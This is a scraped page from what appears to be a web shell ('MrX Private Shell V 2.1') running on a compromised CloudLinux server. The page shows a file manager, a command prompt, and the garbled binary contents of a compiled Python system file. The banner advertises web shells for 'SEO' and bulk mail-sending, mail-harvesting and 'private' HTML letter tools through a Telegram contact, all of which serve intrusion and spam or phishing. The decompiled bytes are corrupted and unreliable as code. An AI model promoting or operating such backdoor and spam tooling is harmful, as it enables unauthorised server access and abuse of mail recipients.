__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.152: ~ $
3

m��i�@s4ddlZddlmZmZdd�Zdd�Zdd�ZdS)	�N)�PIPE�PopencCsftjjd�std��d}t|dttd�}dd�|j�D�\}}|rPtd|����t|d	d�jd
��S)z�
    Get user count using the common CloudLinux library.
    This number is more accurate for systems
    with a control panel installed.
    z/opt/cloudlinux/venv/binz(CloudLinux virtual environment not foundzZ/opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import cpusers; print(cpusers())"T)�shell�stdout�stderrcSsg|]}|j�j��qS�)�decode�strip)�.0�resultrr� /usr/lib/python3.6/statistics.py�
<listcomp>sz.get_users_count_from_cllib.<locals>.<listcomp>z-Failed to get users from CloudLinux library: �z, ���)	�os�path�exists�
ValueErrorrrZcommunicate�len�split)�cmdZprocess�output�errorsrrr�get_users_count_from_cllibsrcCsddlm}|�}t|j��S)zY
    Fallback method to get the user count
    by looking into the /etc/passwd file.
    r)�ClPwd)Zup2date_client.clpwdrrZget_uid_dict)r�pwdrrr�get_users_count_genericsrcCs*y
t�}Wntk
r$t�}YnX|S)z�
    Get the total count of users on the server.
    Tries the CloudLinux library first, falls back to generic method if it fails.
    )r�	Exceptionr)Zusers_countrrr�count_server_users"s

r)r�
subprocessrrrrrrrrr�<module>s

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 113 B 0644
__init__.cpython-36.pyc File 113 B 0644
clpwd.cpython-36.opt-1.pyc File 3.9 KB 0644
clpwd.cpython-36.pyc File 3.9 KB 0644
config.cpython-36.opt-1.pyc File 10.96 KB 0644
config.cpython-36.pyc File 10.96 KB 0644
hardware.cpython-36.opt-1.pyc File 3.11 KB 0644
hardware.cpython-36.pyc File 3.11 KB 0644
pkgplatform.cpython-36.opt-1.pyc File 288 B 0644
pkgplatform.cpython-36.pyc File 288 B 0644
rhncli.cpython-36.opt-1.pyc File 5.83 KB 0644
rhncli.cpython-36.pyc File 5.83 KB 0644
rhnreg.cpython-36.opt-1.pyc File 8.56 KB 0644
rhnreg.cpython-36.pyc File 8.65 KB 0644
rhnserver.cpython-36.opt-1.pyc File 4.73 KB 0644
rhnserver.cpython-36.pyc File 4.73 KB 0644
rpcServer.cpython-36.opt-1.pyc File 7.11 KB 0644
rpcServer.cpython-36.pyc File 7.11 KB 0644
statistics.cpython-36.opt-1.pyc File 1.64 KB 0644
statistics.cpython-36.pyc File 1.64 KB 0644
up2dateAuth.cpython-36.opt-1.pyc File 7.76 KB 0644
up2dateAuth.cpython-36.pyc File 7.76 KB 0644
up2dateErrors.cpython-36.opt-1.pyc File 10.25 KB 0644
up2dateErrors.cpython-36.pyc File 10.25 KB 0644
up2dateLog.cpython-36.opt-1.pyc File 2.48 KB 0644
up2dateLog.cpython-36.pyc File 2.48 KB 0644
up2dateUtils.cpython-36.opt-1.pyc File 1.5 KB 0644
up2dateUtils.cpython-36.pyc File 1.5 KB 0644